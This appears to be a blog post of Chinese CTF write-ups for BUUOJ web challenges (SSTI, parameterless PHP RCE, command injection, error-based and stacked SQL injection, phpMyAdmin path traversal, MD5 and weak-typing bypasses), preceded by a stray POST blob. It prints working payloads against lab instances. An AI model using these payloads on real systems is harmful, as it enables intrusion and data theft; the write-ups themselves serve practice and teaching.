POST:a=a=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP
b=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP
[ASIS 2019]Unicorn shop
- 打开后是一个购买界面,输入商品id和price可以购买
- 当购买第一个的时候,显示Wrong commodity!
- 尝试其他几个,到4的时候回显
Only one char(?) allowed!
,只能输入一个字符
- 查看源码有提示
utf-8
是一个重要的点,所以这里想到了utf-8编码的转换安全问题
- 构造payload
id=4&price=%E1%8D%BC
就有flag了
[WesternCTF2018]shrine
- 直接ctrl u查看源码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/' )
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
- 有两个路由
/ : 显示源码
/shrine : 替换小括号,设置黑名单是config,self
- 是一个ssti的题
- 绕过一下就行了
- 禁用了config,还有url_for等能用的
- 获取flag的payload:
{{url_for.__globals__['current_app'].config}}
[ACTF2020 新生赛]Include
- 文件包含,没啥要说的
[GXYCTF2019]禁止套娃
- 主界面没什么有用的信息
- 应该是要扫一下的,于是就发现了
.git
目录
- 直接
Githack
一把梭,还原出源码
[root@iZ2ze6zwjffnai8rtmfwe2Z GitHack]# python GitHack.py http://db3a2f24-2c06-4942-9624-0f1a7074ebc0.node3.buuoj.cn/.git/
[+] Download and parse index file ...
index.php
[OK] index.php
- 源码如下
include "flag.php";
echo "flag在哪里呢?
";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
-
第一个过滤伪协议
-
第二个指不能有参数
-
第三个过滤了一些关键函数
-
典型的无参数rce
-
前面有一些国赛考过,这里直接拿来套吧
-
用localenv()+current()构造一个.
出来
-
最后的payload:http://db3a2f24-2c06-4942-9624-0f1a7074ebc0.node3.buuoj.cn/?exp=print_r(highlight_file(next(array_reverse(scandir(current(localeconv()))))));
[CISCN 2019 初赛]Love Math
- 老题了,去年国赛初赛时的题
- 但是开启了万恶之源,去年围绕这个题又出了好多题
- 打开页面就是源码
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
-
限制了长度是80以内
-
不能有一些特殊符号
-
还设置了白名单
-
尝试$function = "phpinfo";$function();
的方式
-
其中base_convert()函数的作用为:在任意进制之间转换数字。
//八进制转十进制
$oct = "0031";
echo base_convert($oct,8,10);
?>
//八进制转十六进制
$oct = "364";
echo base_convert($oct,8,16);
?>
- 直接看一下别人的思路
?exp=cat /flag&abs=system&c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){abs}($$pi{exp})
[GXYCTF2019]BabySQli
- 随便登陆一下,在源码中发现线索
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
- base一把梭,得到源码:
select * from user where username = '$name'
- 只对name进行操作了
- 构造payload:
name=0' union 1,2,3#
可以得到列数是三列,但是提示的是wrong user
- 预测的是后台是三列:id,user,passwd
- 所以直接构造一个payload:
name=0' union select 1,'admin','eccbc87e4b5ce2fe2830fd9f2a7baf3'#&pw=3
获得flag
[ACTF2020 新生赛]Exec
- 打开是一个pingip的页面
- 可能是命令执行
- 构造一个
target=111||ls
,回显目录
- 直接读flag一把梭
[极客大挑战 2019]HardSQL
- 熟悉的界面
- 熟悉的sql注入
- 这次又增加了一点难度
- 这次是报错注入
- 爆数据库:
?username=admin'or(updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1))%23&password=123
- 爆表,爆列一把梭,就是过滤了空格,记得用()就行了
- 读flag:
?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123
- 只出来一部分,用left函数等字符串截取函数截取一下就行了
- 读出后半段
?username=admin%27or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=123
[GYCTF2020]Blacklist
-
打开界面,熟悉的堆叠注入场景
-
过滤了return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
-
不能用强网杯随便注那一把梭了
-
之前写的文章里有类似的题,使用handler
读数据
-
读表名:inject=1';show tables;#
-
读数据:?inject=1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
-
handler的用法:
HANDLER … OPEN语句打开一个表,使其可以使用后续
HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用
HANDLER … CLOSE或会话终止之前不会关闭
[GWCTF 2019]我有一个数据库
- 主界面:
我有一个数据库,但里面什么也没有~
不信你找
-
还要扫一下
-
扫出来了phpmyadmin/
,应该是直接任意文件包含的洞
-
phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../etc/passwd
回显/etc/passwd
-
然后就直接读flag了
-
还以为要getshell呢
[BJDCTF2020]Easy MD5
-
打开界面,是一个输入提交框
-
没思路,直接百度一波
-
传入password=ffifdyop
,是因为ffifdyop
的md5值是'or '6
的16进制,拼接在sql语句中,刚好是永真
-
跳转到了levels91.php
,源码中有线索,传入?a[]=1&b[]=2
后进入下一层套娃levell14.php
-
源码:
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
- 和上一关一样,数组绕过即可
[ACTF2020 新生赛]BackupFile
- 应该是找备份的
- 扫一下,发下了
index.php.bak
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
- 弱类型比较,直接传
?key=123
就行了
你可能感兴趣的:(CTF)